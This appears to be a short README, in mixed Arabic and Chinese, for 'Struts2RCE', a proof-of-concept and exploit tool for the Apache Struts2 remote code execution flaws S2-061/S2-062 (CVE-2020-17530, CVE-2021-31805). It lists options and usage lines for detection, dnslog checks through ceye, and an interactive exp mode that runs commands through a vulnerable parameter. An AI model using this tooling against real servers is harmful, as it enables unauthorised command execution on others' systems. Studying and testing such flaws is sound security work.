z92g/cve-2021-31805S2-061/S2-062 ثغرة تنفيذ الأوامر عن بُعد في Struts2 POC&EXP
ثغرة تنفيذ الأوامر عن بُعد في Struts2 (CVE-2020-17530&CVE-2021-31805) POC&EXP
-u 目标url
-m [dnslog|exp] //默认有回显界面字符检查
-n [s2-062] //默认s2-061
-s [windows] //默认linux
-p 漏洞参数
Struts2RCE -u http://127.0.0.1:8080 //默认s2-061检测
请自行注册ceye，并配置好ceye.ini
Struts2RCE -u http://127.0.0.1:8080 -m dnslog -n s2-062 //s2-062 dnslog检测,检测速度跟网络和ceye服务器有关，不同url需要清除dnslog记录，否则会造成误判。
存在漏洞情况下，可直接输入漏洞参数进行验证
Struts2RCE -u http://127.0.0.1:8080 -m exp -p id //s2-061漏洞，参数为id的验证，输入q退出
هذه الأداة مخصصة للتعلم والبحث والفحص الذاتي فقط. لا يجوز استخدامها لأغراض غير قانونية؛ يرجى الالتزام بالقوانين واللوائح ذات الصلة. لا أتحمل أي مسؤولية عن أي مخاطر تنتج عن استخدام هذه الأداة!